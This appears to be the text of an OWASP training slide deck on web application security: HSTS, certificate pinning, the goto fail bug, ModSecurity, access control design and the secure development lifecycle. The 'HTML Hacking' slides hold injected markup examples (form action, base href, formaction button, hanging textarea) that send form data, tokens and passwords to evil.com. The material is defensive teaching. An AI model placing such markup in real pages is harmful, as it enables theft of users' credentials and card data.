http://www.youtube.com/watch?v=zEV3HOuM_Vw
Strict-Transport-Security: max-age=31536000

• Forces browser to only make HTTPS connection to server
• Must be initially delivered over a HTTPS connection
• You can request that Chromium preloads your websites HSTS headers by default
• Tweet your domain to @agl__ to be automatically added to the default Chrome HSTS list!
• http://dev.chromium.org/sts
HSTS In Code

- Response Header added by application
- Browser receives and remembers settings for domain
- HSTS flag not easily cleared by user

```
# load module (example using [RHEL])
LoadModule headers_module modules/mod_headers.so

<VirtualHost 10.0.0.1:443>
  # Use HTTP Strict Transport Security to force client to use secure connections only
  Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
</VirtualHost>
```

Benefits of HSTS

- HTTP Strict Transport Security (HSTS)
- Opt-in security control
- Website instructs compatible browser to enable STS for site

HSTS Forces (for enabled site):
- All communication over HTTPS
- No insecure HTTP requests sent from browser
- No option for user to override untrusted certificates
Protecting Outdated Users

- HSTS supported in current browsers (Firefox, Chrome)
- No impact to old / unsupported browsers – just no protection

- Older browsers all support SECURE Cookie Flag
- SECURE cookie flag
- Instructs browser to only send cookie over HTTPS
- Much less (and different) protection than HSTS, but good defense in depth control
Apple goto fail SSL bug

• Major iOS/OSX SSL implementation bug


• "...does not check the signature in a TLS Server Key Exchange message...."

• "...allows man-in-the-middle attackers to spoof SSL servers by (1) using an arbitrary private key for the signing step or (2) omitting the signing step."
goto fail Apple SSL bug

static OSStatus
SSLVerifySignedServerKeyExchange(SSLContext *ctx, bool isRsa, SSLBuffer signedParams,
    uint8_t *signature, UInt16 signatureLen)
{
    OSStatus err;
    ...

    if ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0)
        goto fail;
    if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)
        goto fail;
        goto fail;
    if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)
        goto fail;
        ...

    fail:
    SSLFreeBuffer(&signedHashes);
    SSLFreeBuffer(&hashCtx);
    return err;
}
Fixing the CA (Certificate Authority) System

Certificate Pinning
https://www.owasp.org/index.php/Pinning_Cheat_Sheet

Browser Certificate Pruning
Etsy/Zane Lackey

Certificate Creation Transparency
http://certificate-transparency.org

HSTS (Strict Transport Security)
http://www.youtube.com/watch?v=zEV3HOuM_Vw
Strict-Transport-Security: max-age=31536000
Certificate Pinning

What is Pinning

- Pinning is a key continuity scheme
- Detect when an imposter with a fake but CA validated certificate attempts to act like the real server

2 Types of pinning

1) Carry around a copy of the server’s public key;
- Great if you are distributing a dedicated client-server application since you know the server’s certificate or public key in advance
- Note of the server’s public key on first use

2) Trust-on-First-Use, Tofu pinning
- Useful when no *a priori* knowledge exists, such as SSH or a Browser
- [https://www.owasp.org/index.php/Pinning_Cheat_Sheet](https://www.owasp.org/index.php/Pinning_Cheat_Sheet)
Browser-Based TOFU Pinning

Browser-Based TOFU Pinning
• Trust on First Use

HTTP Public Key Pinning IETF Draft
• http://tools.ietf.org/html/draft-ietf-websec-key-pinning-11

Freezes the certificate in the browser by pushing a fingerprint of the certificate chain to the browser.

Example:

```
Public-Key-Pins: pin-sha1="4n972HfV354KP560yw4uqe/baXc="; pin-sha1="qvTGHdzF6KLavt4PO0gs2a6pQ00="; pin-sha256="LPJNu1+wow4m6DsqxbninhsWH1wfp0JecwQzYpOLmCQ="; max-age=10000; includeSubDomains
```
SSL Resources

- OWASP TLS Protection Cheat Sheet
- https://www.owasp.org/index.php/Pinning_Cheat_Sheet
Virtual Patching

“A security policy enforcement layer which prevents the exploitation of a known vulnerability”
Virtual Patching

Rationale for Usage
– No Source Code Access
– No Access to Developers
– High Cost/Time to Fix

Benefit
– Reduce Time-to-Fix
– Reduce Attack Surface
Strategic Remediation

- Ownership is *Builders*
- Focus on web application root causes of vulnerabilities and creation of controls in code
- Ideas during design and initial coding phase of SDLC
- This takes serious *time, expertise and planning*
Tactical Remediation

- Ownership is *Defenders*
- Focus on web applications that are *already in production* and exposed to attacks
- Examples include using a Web Application Firewall (WAF) such as ModSecurity
- Aim to *minimize the Time-to-Fix exposures*
OWASP ModSecurity Core Rule Set

Essential Plug-n-Play Protection from Web Application Attacks

ModSecurity™ is a web application firewall engine that provides very little protection on its own. In order to become useful, ModSecurity™ must be configured with rules. In order to enable users to take full advantage of ModSecurity™ out of the box, the OWASP Defender Community has developed and maintains a free set of application protection rules called the OWASP ModSecurity Core Rule Set (CRS). Unlike intrusion detection and prevention systems, which rely on signatures specific to known vulnerabilities, the CRS provides generic protection from unknown vulnerabilities often found in web applications.

Donate funds to OWASP earmarked for ModSecurity Core Rule Set Project.

Core Rules Content

In order to provide generic web applications protection, the Core Rules use the following techniques:

- HTTP Protection - detecting violations of the HTTP protocol and locally defined usage policy.
- Web-based Malware Detection - identifies malicious web content by checking against the Google Safe Browsing API.
- HTTP Denial of Service Proetions - defense against HTTP Flooding and Slow HTTP DoS Attacks.
- Common Web Attack Protection - detecting common web application security attack.
- Automation Detection - Detecting bots, crawlers, scanners and other surface malicious activity.
- Integration with AV Scanning for File Uploads - detects malicious files uploaded through the web application.
- Tracking Sensitive Data - Tracks Credit Card usage and blocks leakages.
- Trojan Protection - Detecting access to Trojan horses.
- Identification of Application Defects - alerts on application misconfigurations.
- Error Detection and Hiding - Disguising error messages sent by the server.

Let's talk here

Want to help?

Related resources

- [OWASP AppSensor Project](http://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project)
- [OWASP File Regular Repository](http://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project)
Web App Access Control Design
Access Control Anti-Patterns

- Hard-coded role checks in application code
- Lack of centralized access control logic
- Untrusted data driving access control decisions
- Access control that is “open by default”
- Lack of addressing horizontal access control in a standardized way (if at all)
- Access control logic that needs to be manually added to every endpoint in code
- Access Control that is “sticky” per session
- Access Control that requires per-user policy
What is Access Control?

- Authorization is the process where a system determines if a specific user has access to a resource
- **Permission**: Represents app behavior only
- **Entitlement**: What a user is actually allowed to do
- **Principle/User**: Who/what you are entitling
- **Implicit Role**: Named permission, user associated
  - if (user.isRole("Manager"));
- **Explicit Role**: Named permission, resource associated
  - if (user.isAuthorized("report:view:3324"));
Attacks on Access Control

• Vertical Access Control Attacks
  A standard user accessing administration functionality

• Horizontal Access Control Attacks
  Same role, but accessing another user's private data

• Business Logic Access Control Attacks
  Abuse of one or more linked activities that collectively realize a business objective
Access Controls Impact

- Loss of accountability
- Attackers maliciously execute actions as other users
- Attackers maliciously execute higher level actions
- Disclosure of confidential data
- Compromising admin-level accounts often results in access to user’s confidential data
- Data tampering
- Privilege levels do not distinguish users who can only view data and users permitted to modify data
Hard-Coded Roles

```java
void editProfile(User u, EditUser eu) {
    if (u.isManager()) {
        editUser(eu)
    }
}
```

- How do you change the policy of this code?
if ((user.isManager() || user.isAdministrator() || user.isEditor()) && user.id() != 1132)) {
    //execute action
}
Hard-Coded Roles

- Makes “proving” the policy of an application difficult for audit or Q/A purposes
- Any time access control policy needs to change, new code need to be pushed
- RBAC is often not granular enough
- Fragile, easy to make mistakes
Order- Specific Operations

- Imagine the following parameters
  - http://example.com/buy?action=chooseDataPackage
  - http://example.com/buy?action=customizePackage
  - http://example.com/buy?action=makePayment
  - http://example.com/buy?action=downloadData

- Can an attacker control the sequence?
- Can an attacker abuse this with concurrency?
Rarely Depend on Untrusted Data

- Never trust request data for access control decisions
- Never make access control decisions in JavaScript
- Never make authorization decisions based solely on:
  - hidden fields
  - cookie values
  - form parameters
  - URL parameters
  - anything else from the request
- Never depend on the order of values sent from the client
Best Practice: Centralized AuthZ

- Define a centralized access controller
- ACLService.isAuthorized(PERMISSION_CONSTANT)
- ACLService.assertAuthorized(PERMISSION_CONSTANT)

- Access control decisions go through these simple API’s
- Centralized logic to drive policy behavior and persistence
- May contain data-driven access control policy information
Best Practice: Code to the Activity

```java
if (AC.hasAccess("article:edit:12"))
{
    //execute activity
}
```

- Code it once, never needs to change again
- Implies policy is centralized in some way
- Implies policy is persisted in some way
- Requires more design/work up front to get right
if (isAuthorized(Permission.VIEW_LOG_PANEL))
{
    <h2>Here are the logs</h2>
    <%=getLogs()%>
}
Using a Centralized Access Controller

In Controller

try (assertAuthorized(Permission.DELETE_USER)) {
    deleteUser();
} catch (Exception e) {
    //SOUND THE ALARM
}
SQL Integrated Access Control

Example Feature
http://mail.example.com/viewMessage?msgid=2356342

This SQL would be vulnerable to tampering
select * from messages where messageid = 2356342

Ensure the owner is referenced in the query!
select * from messages where messageid = 2356342 AND messages.message_owner = <userid_from_session>
Data Contextual Access Control

Data Contextual / Horizontal Access Control API examples:
ACLService.isAuthorized("car:view:321")
ACLService/assertAuthorized("car:edit:321")

Long form:
Is Authorized(user, Perm.EDIT_CAR, Car.class, 14)

Check if the user has the right role in the context of a specific object Protecting data a the lowest level!
Apache SHIRO
http://shiro.apache.org/

- Apache Shiro is a powerful and easy to use Java security framework.
- Offers developers an intuitive yet comprehensive solution to **authentication, authorization, cryptography, and session management**.
- Built on sound interface-driven design and OO principles.
- Enables custom behavior.
- Sensible and secure defaults for everything.
Solving Real World Access Control Problems with the Apache Shiro

The Problem

Web Application needs secure access control mechanism

The Solution

```java
if ( currentUser.isPermitted( "lightsaber:wield" ) ) {
    log.info("You may use a lightsaber ring. Use it wisely.");
} else {
    log.info("Sorry, lightsaber rings are for schwartz masters only.");
}
```
Solving Real World Access Control Problems with the Apache Shiro

The Problem
Web Application needs to secure access to a specific object

The Solution

if ( currentUser.isPermitted( "winnebago:drive:" + win_id ) ) {
    log.info("You are permitted to 'drive' the 'winnebago' with license plate (id) 'eagle5'. Here are the keys - have fun!");
} else {
    log.info("Sorry, you aren't allowed to drive the 'eagle5' winnebago!");
}
HTML Hacking

“in the pursuit of browser friendliness, a bunch of oddities have manifested”
Dangley Quote

Any markup between the opening single quote of the `img src` parameter and the next occurrence of a matching quote will be treated as a part of the image URL.

The browser will issue a request to retrieve the image from the specified location - thereby disclosing the secret value to an attacker-controlled destination – steal CSRF token.
Form rerouting

<form action='http://evil.com/log.cgi'> ← Injected line by attacker
<form action='update_profile.php'> ← Legitimate, pre-existing form ...
<input type="text" name="card_number" value="100100100"> ...
<input type="text" name="CVV_number" value="666"> ...
</form>

• The <form> tag can't be nested. The top-level occurrence of this element always takes precedence over subsequent appearances.
• When used to target forms automatically populated with user-specific secrets - as would be the case with any forms used to update profile information, shipping or billing address, or other contact data; form-based XSRF tokens are also a possible target.
**<base> jumping**

- The `<base>` tag specifies the base URL/target for all relative URLs in a document.
- There can be at maximum one `<base>` element in a document, and it *must be inside* the `<head>` element.

[http://www.w3.org/wiki/HTML/Elements/base](http://www.w3.org/wiki/HTML/Elements/base)

*VULNERABLE: Chrome, firefox and safari.*

*NOT VULNERABLE: IE8 or IE9.*
<base> jumping

• Attack relies on the injection of <base> tags
• A majority of web browsers honour this tag outside the standards-mandated <head> section.
• The attacker injecting this mark-up would be able to change the semantics of all subsequently appearing relative URLs

<base href='http://evil.com/' > ← Injected line ...
<form action='update_profile.php' > ← Legitimate, pre-existing form ...
<input type='text' name='real_name' value='admin_eoin'> ....
</form>

http://evil.com/update_profile.php

FIX: use absolute paths!!
Element Override

- `<input> formaction Attribute (HTML5)`
- The formaction attribute overrides the action attribute of the `<form>` element.

```html
<html>

......
<form action="update_info.php" method="get">
<input type="text" id="name" />
<input type="text" id="addr" />
<input type="text" id="creditcard" />

<input type="submit" name="submit" id="submit" value="Real Button" />

<!--Beginning of attacker's code -->
<button formaction="http://evil.com"> False Button </button> ← Add fake button
<style> #submit{visibility:hidden;}</style> ← hide original button
<!-- End of attacker's code -->
</form>
</html>
```
Hanging <textarea>

<!--Beginning of attacker's code -->
<form action="evil.com/logger.cgi" method="post">
<input type="submit" value="Click to continue" />
<textarea style="visibility:hidden;"> </textarea>
<!--End of attacker's code -->

...

<!--User's sensitive data -->
<B>User Password list: </B>
password123
LetMein123
ChangeM3!
1234556

.....

The hanging <textarea> in forces the browser to try to determine where the text area should terminate. Most browsers look for the next </textarea> or the end of the </HTML> document.
Secure Development Lifecycle

Securing the SDLC
Bespoke Applications Vs. Commercial Applications

Application Development internal use:

• Bespoke, customized, one-off application
  • Audience is not so great: (Users, developers, test)
    ➢ Vulnerabilities are not discovered too quickly by users.
    ➢ Vulnerabilities are discovered by hackers, they actively look for them.

Bespoke application = Small audience = Less chance of vulnerabilities being discovered
This is unlike, Say Microsoft Windows 7 etc……

First Line of Defense:

The Developer:

• Writes the code.
• Understands the problem better than anyone!
• Has the skill set.
• More effective and efficient in providing a solution
As Functionality and hence complexity increase security decreases.

Integrating security into functionality at design time is easier and cheaper.

“100 Times More Expensive to Fix Security Bug at Production Than Design”
– IBM Systems Sciences Institute

It also costs less in the long-term.
  *maintenance cost*
A Few Facts and figures:

How Many Vulnerabilities Are Application Security Related?

92% of reported vulnerabilities are in applications, not networks.

Source: NIST
Growth of Threat.
A Few Facts and figures

Interesting Statistics – *Employing code review*
- IBM Reduces 82% of Defects Before Testing Starts
- HP Found 80% of Defects Found Were Not Likely To Be Caught in Testing
- 100 Times More Expensive to Fix Security Bug at Production Than Design”
  – IBM Systems Sciences Institute

Promoting People Looking at Code
- Improvement Earlier in SDLC
- Fix at Right Place; the Source
- Takes 20% extra time – payoff is order of magnitude more.
If Cars Were Built Like Applications....

1. 70% of all cars would be built without following the original designs and blueprints. The other 30% would not have designs.

2. Cars would have no airbags, mirrors, seat belts, doors, roll-bars, side-impact bars, or locks, because no-one had asked for them. But they would all have at least six cup holders.

3. Not all the components would be bolted together securely and many of them would not be built to tolerate even the slightest abuse.

4. Safety tests would assume frontal impact only. Cars would not be roll tested, or tested for stability in emergency maneuvers, brake effectiveness, side impact and resistance to theft.

5. Many safety features originally included might be removed before the car was completed, because they might adversely impact performance.

6. 70% of all cars would be subject to monthly recalls to add major components left out of the initial production. The other 30% wouldn’t be recalled, because no-one would sue anyway.
How do we do it?

Security Analyst

Understand the data and information held in the application
Understand the types of users is half the battle
Involve an analyst starting with the design phase

Developer

Embrace secure application development
Bake security into frameworks when you can
Quality is not just “Does it work”
Security is a measure of quality also
How do we do it? (contd)

QA:
Security vulnerabilities are to be considered bugs, the same way as a functional bug, and tracked in the same manner.

Managers:
Factor some time into the project plan for security. Consider security as added value in an application.

— $1 spent up front saves $10 during development and $100 after release
Software security tollgates in the SDLC

Risk = Threat x Vulnerability x Cost

Security requirements → Design Review → Risk analysis → Risk-based security tests → Static analysis (tools) → Penetration testing → Code review tools

Requirements and use cases → Design → Test plans → Code Review → Code → Test results → Field feedback

Iterative approach
CI (Continuous Integration)

Continuous Integration Process Flow

- Code changes invoke SAST
- Build Pass/Fails
- SAST Rules control
- Rule Tuning
- False Positive Tuning
- Framework awareness
Application Security Risk Categorization

Goal
More security for riskier applications
Ensures that you work the most critical issues first
Scales to hundreds or thousands of applications

Tools and Methodology
Security profiling tools can gather facts
  * Size, complexity, security mechanisms, dangerous calls

Questionnaire to gather risk information
  * Asset value, available functions, users, environment, threats

Risk-based approach
  * Evaluates likelihood and consequences of successful attack
Application Security Project Plan

Define the plan to ensure security at the end
  Ideally done at start of project
  Can also be started before or after development is complete

Based on the risk category
  Identify activities at each phase
  Necessary people and expertise required
  Who has responsibility for risks
  Ensure time and budget for security activities
  Establish framework for establishing the “line of sight”
Application Security Requirements Tailoring

Get the security requirements and policy right

Start with a generic set of security requirements
   Must include all security mechanisms
   Must address all common vulnerabilities
   Can be use (or misuse) cases
   Should address all driving requirements (regulation, standards, best practices, etc.)

Tailoring examples...
   Specify how authentication will work
   Detail the access control matrix (roles, assets, functions, permissions)
   Define the input validation rules
   Choose an error handling and logging approach
Design Reviews

Better to find flaws early

Security design reviews
  Check to ensure design meets requirements
  Also check to make sure you didn’t miss a requirement

Assemble a team
  Experts in the technology
  Security-minded team members
  Do a high-level threat model against the design
  Be sure to do root cause analysis on any flaws identified
Software Vulnerability Analysis

Find flaws in the code early

Many different techniques
- Static (against source or compiled code)
  - Security focused static analysis tools
  - Peer review process
  - Formal security code review
- Dynamic (against running code)
  - Scanning
  - Penetration testing

Goal
- Ensure completeness (across all vulnerability areas)
- Ensure accuracy (minimize false alarms)
Application Security Testing

Identify security flaws during testing

Develop security test cases
  Based on requirements
  Be sure to include “negative” tests
  Test all security mechanisms and common vulnerabilities

Flaws feed into defect tracking and root cause analysis
Application Security Defect Tracking and Metrics

“Every security flaw is a process problem”

Tracking security defects
Find the source of the problem
Bad or missed requirement, design flaw, poor implementation, etc...
ISSUE: can you track security defects the same way as other defects

Metrics
What lifecycle stage are most flaws originating in?
What security mechanisms are we having trouble implementing?
What security vulnerabilities are we having trouble avoiding?
Vulnerability Management:

**Metrics:** We can measure what problems we have

**Measure:** We can’t improve what we can’t measure

**Priority:** If we can measure we can prioritise

**Delta:** If we can measure we can detect change

**Apply:** We can apply our (limited) budget on the right things

**Improve:** We can improve where it matters......

**Value:** Demonstrate value to our business

**Answer the question:** “Are we secure?” <- a little better
Configuration Management and Deployment

Ensure the application configuration is secure

Security is increasingly “data-driven”
  XML files, property files, scripts, databases, directories

How do you control and audit this data?
  Design configuration data for audit
  Put all configuration data in CM
  Audit configuration data regularly
  Don’t allow configuration changes in the field
What now?

"So now, when we face a choice between adding features and resolving security issues, we need to choose security.”

- Bill Gates

If you think technology can solve your security problems, then you don't understand the problems and you don't understand the technology.

- Bruce Schneier

Using encryption on the Internet is the equivalent of arranging an armored car to deliver credit-card information from someone living in a cardboard box to someone living on a park bench.

- Gene Spafford
Thank YOU!

Eoin.Keary@owasp.org
@eoinkeary

Jim.Manico@owasp.org
@manicode

Michael.Coates@owasp.org
@_mwc